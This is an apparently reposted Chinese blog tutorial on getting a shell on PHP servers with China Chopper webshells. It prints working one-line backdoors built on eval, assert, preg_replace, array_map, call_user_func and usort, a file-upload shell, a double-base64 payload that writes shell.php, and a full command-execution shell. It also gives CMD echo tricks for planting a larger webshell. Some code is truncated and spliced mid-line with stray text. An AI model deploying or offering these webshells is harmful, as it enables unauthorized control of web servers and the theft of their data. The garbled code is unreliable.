【随笔】菜⼑(代码执⾏)函数和命令执⾏函数详解及Getshell⽅法
代码执⾏函数 VS 命令执⾏函数
  ⼀直想整理这两块的内容,但是⼀直没时间弄,直到前两天碰上⼀个写⼊了菜⼑马但是死活连不上菜⼑的站,顿时不知道怎么继续了,所以就趁这个机会整理了⼀下代码执
⾏函数怎么getshell和命令执⾏函数怎么getshell的思路,各位⼤⽜有什么想法可以⼀起交流⼀下。那么我们开始正题。
  菜⼑马的原理其实是调⽤了代码执⾏函数。⽽菜⼑之所以能够执⾏系统命令和上传⽂件,也是调⽤了命令执⾏函数。命令马的原理是调⽤了命令执⾏函数。
  这两种都能够getshell(以上传⼤马为准)因为有⼀些服务器做了限制,⽐如菜⼑连不上,或者禁⽤了某些函数,或者利⽤SQL注⼊写⽂件和XML之类的漏洞,所以有时候
在有了菜⼑马和命令马之后要上传⼤马还是有⼀些波折的,当然能够直接上传或写⼊⼤马的除外。
⼀、
⾸先是菜⼑马:
  菜⼑马的原理是调⽤了PHP的代码执⾏函数,⽐如以下1和2两个常见的⼀句话菜⼑马,就是调⽤了eval函数、assert函数。
1、eval()函数
#传⼊的参数必须为PHP代码,既需要以分号结尾。
#命令執⾏:cmd=system(whoami);
#菜⼑连接密码:cmd
<?php @eval($_POST['cmd']);?>
那么当我们上传了eval函数的菜⼑马之后,在连接不上菜⼑的情况下怎么上传⼤马呢?继续往下看
这⾥我是先写⼀个上传马,再⽤上传马去上传⼤马,有点多次⼀举,但是考虑到⼤马代码量太多,还是建议先写个上传马,以下代码只有1kb。
<?php
@$temp = $_FILES['upload_file']['tmp_name'];
@$file = basename($_FILES['upload_file']['name']);
if (empty ($file)){
echo "<form action = '' method = 'POST' ENCTYPE='multipart/form-data'>\n";echo "Local file: <input type = 'file' name = 'upload_file'>\n";echo "<input type = 'submit' value = 'Upload'>\n";echo "</form>\n<pre>\n\n</pre>";}else {if(move_uploaded_原理是利⽤⽂件操作函数如下:
fputs(fopen(shell.php,w),xxxx);
写⼊xxxx到脚本执⾏⽂件当前⽬录下的shell.php⽂件。
由于是利⽤post传参,不能出现【<】【>】【+】【=】【/】等符号,所以这⾥我们需要把代码编码⼀下,将上⾯的上传代码进⾏两次base64编码(为了去除=号)。
☆☆☆在编码的时候空格和回车都会影响编码后的结果,因此建议⼤家直接复制我上⾯的上传马或者⽤下⾯我编码好的,或者⾃⼰去慢慢尝试直到base64编码后为⼀串⾃由数字
和字母的字符串即可。
接下来利⽤⽂件操作函数写⼊上传马,注意不要忘了最后的分号。
cmd=fputs(fopen(base64_decode(c2hlbGwucGhw),w),base64_decode(base64_decode(UEQ5d2FIQWdEUXBBSkhSbGJYQWdQU0FrWDBaSlRFVlRXeWQxY0d4dllXUmZabWxzWlNkZFd5ZDBiWEJmYm1GdFpTZGRPdzBLUUNSbWFXeGxJRDBn 成功得到上传马,之后就是上传我们的⼤马了。
2、assert()函数
#assert函数是直接将传⼊的参数当成PHP代码直接,不需要以分号结尾,当然你加上也可以。
#命令執⾏:cmd=system(whoami)
#菜⼑连接密码:cmd
<?php @assert($_POST['cmd'])?>
上传⼤马,这⼀步参考eval函数。
其他的代码执⾏函数还有以下⼏个,均给出了菜⼑连接⽅式:
3、preg_replace()
#preg_replace('正则规则','替换字符','⽬标字符')
#执⾏命令和上传⽂件参考assert函数(不需要加分号)。
#将⽬标字符中符合正则规则的字符替换为替换字符,此时如果正则规则中使⽤/e修饰符,则存在代码执⾏漏洞。
preg_replace("/test/e",$_POST["cmd"],"jutst test");
这⾥可以使⽤chr()函数转换ASCII编码来执⾏代码。
#phpinfo();
eval(chr(112).chr(104).chr(112).chr(105).chr(110).chr(102).chr(111).chr(40).chr(41).chr(59))
4、create_function()函数
#创建匿名函数执⾏代码
#执⾏命令和上传⽂件参考eval函数(必须加分号)。
#菜⼑连接密码:cmd
$func =create_function('',$_POST['cmd']);$func();
5、array_map()函数
#array_map() 函数将⽤户⾃定义函数作⽤到数组中的每个值上,并返回⽤户⾃定义函数作⽤后的带有新值的数组。回调函数接受的参数数⽬应该和传递给 array_map() 函数的数组数⽬⼀致。
#命令执⾏localhost/123.php?func=system  cmd=whoami
#菜⼑连接localhost/123.php?func=assert  密码:cmd
$func=$_GET['func'];
$cmd=$_POST['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
echo$new_array;
6、call_user_func()函数
#传⼊的参数作为assert函数的参数
#cmd=system(whoami)
#菜⼑连接密码:cmd
call_user_func("assert",$_POST['cmd']);
7、call_user_func_array()函数
#将传⼊的参数作为数组的第⼀个值传递给assert函数
#cmd=system(whoami)
#菜⼑连接密码:cmd
$cmd=$_POST['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);
8、array_filter()函数
#⽤回调函数过滤数组中的元素:array_filter(数组,函数)
#命令执⾏func=system&cmd=whoami
#菜⼑连接localhost/123.php?func=assert  密码cmd
$cmd=$_POST['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);
shell创建文件并写入内容9、uasort()函数
#php环境>=<5.6才能⽤
#uasort() 使⽤⽤户⾃定义的⽐较函数对数组中的值进⾏排序并保持索引关联。
#命令执⾏:localhost/123.php?1=1+1&2=eval($_GET[cmd])&cmd=system(whoami);
#菜⼑连接:localhost/123.php?1=1+1&2=eval($_POST[cmd])  密码:cmd
usort($_GET,'asse'.'rt');
⼆、
命令执⾏函数
  PHP执⾏系统命令的有⼏个常⽤的函数,如有:system函数、exec函数、popen函数,passthru,shell_exec函数他们都可以执⾏系统命令,下⾯是我整理的⼀个命令马,把常见的命令执⾏函数都做了⼀个梳理,如果⼤家还有什么新的思路或见解,可以⼀起交流交流。
<?php
$command=$_POST['cmd'];
#function exec_all($command)
#{
//system函数可执⾏并直接显⽰结果
if(function_exists('system'))
{
echo "<pre>";
system($command);
echo "</pre>";
}
//passthru函数可执⾏并直接显⽰结果
else if(function_exists('passthru'))
{
echo "<pre>";
passthru($command);
echo "</pre>";
}
//shell_exec函数可执⾏但需要加echo才能显⽰结果
else if(function_exists('shell_exec'))
{
echo "<pre>";
echo shell_exec($command);
echo "</pre>";
}
//function exec(命令,以数组形式的保存结果,命令执⾏的状态码)
//可执⾏,但需要加echo才能显⽰结果
else if(function_exists('exec'))
{
echo "<pre>";
exec($command,$output);
echo "</br>";
print_r($output);
echo "</pre>";
}
//popen函数:打开⼀个指向进程的管道,该进程由派⽣指定的 command 命令执⾏⽽产⽣。
//返回⼀个和 fopen() 所返回的相同的⽂件指针,只不过它是单向的(只能⽤于读或写)
//此指针可以⽤于 fgets(),fgetss() 和 fwrite()。并且必须⽤ pclose() 来关闭。
//若出错,则返回 false。
else if(function_exists('popen'))
{
$handle = popen($command , "r"); // Open the command pipe for reading
if(is_resource($handle))
{
if(function_exists('fread') && function_exists('feof'))
{
echo "<pre>";
while(!feof($handle))
{
echo fread($handle, 1024);
}
echo "</pre>";
}
else if(function_exists('fgets') && function_exists('feof'))
{
echo "<pre>";
while(!feof($handle))
{
echo fgets($handle,1024);
}
echo "<pre>";
}
}
pclose($handle);
}
//proc_open — 执⾏⼀个命令,并且打开⽤来输⼊/输出的⽂件指针。
else if(function_exists('proc_open'))
{
$descriptorspec = array(
1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
);
$handle = proc_open($command ,$descriptorspec , $pipes); // This will return the output to an array 'pipes'
if(is_resource($handle))
{
if(function_exists('fread') && function_exists('feof'))
{
echo "<pre>";
while(!feof($pipes[1]))
{
echo fread($pipes[1], 1024);
}
echo "</pre>";
}
else if(function_exists('fgets') && function_exists('feof'))
{
echo "<pre>";
while(!feof($pipes[1]))
{
echo fgets($pipes[1],1024);
}
echo "<pre>";
}
}
#pclose($handle);
}
else
{
echo 'GG';
}
#}
其他函数:
暂时就知道其他两个函数,不过也都是基于以上的函数所变化的。
<?php
$cmd=$_POST['cmd'];
echo "<pre>";
/
/可执⾏并直接显⽰结果,反引号,波浪键。
//shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体
//所以如果把shell_exec()函数禁⽤了,反撇号 (`)也是执⾏不了命令的。
echo `$cmd`;
//注意,这个只显⽰结果的第⼀⾏,因此基本只能执⾏whoami
//ob_start:打开缓冲区,需要system函数开启
$a = 'system';
ob_start($a);
echo "$_POST[cmd]";
ob_end_flush();
echo "</pre>";
  上⾯讲完命令执⾏命令,也都可以执⾏命令了,那么如何利⽤这些命令马来进⼀步上传我们的⼤马呢,这⾥就要涉及到⼀下CMD命令了,有兴趣的同学可以去参考链接查看《CMD命令特殊符号》的⽂章。
这⾥了我是⽤echo写⽂件的思路,遗忘⼤佬教的⽤msf结合命令⾏去下载⼤马我暂时还没去实践,就留着以后有时间再写了,废话不多说,开⼲吧!
  成功执⾏命令之后,⾸先利⽤【dir】命令得到⽹站路径,如果是mysql注⼊得到的os-shell也可⽤【dir d:\ /b】命令查存放⽹站程序的路径。
  然后⽤【echo】命令写⼊我们的上传马
☆☆☆这⾥注意【<】【>】【&】这三个字符在CMD命令⾏中有特殊意义,需要在前⾯加【^】进⾏转义,可以⽤⽂本的替换来实现这个功能。
写⼊成功之后就可以上传我们的⼤马啦 ^-^!然后就看⼤家的啦,该修复修复,想提交提交,到这⾥就结束啦,有什么意见欢迎⼀起交流交流。
参考链接:
wwwblogs/xiaozi/p/7834367.html
blog.csdn/yatere/article/details/7765270
blog.163/magicc_love/blog/static/185853662201542810350983/
笨鸟先飞早⼊林,笨⼈勤学早成材。
转载请注明出处:
撰写⼈:fox-yu  wwwblogs/fox-yu/

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。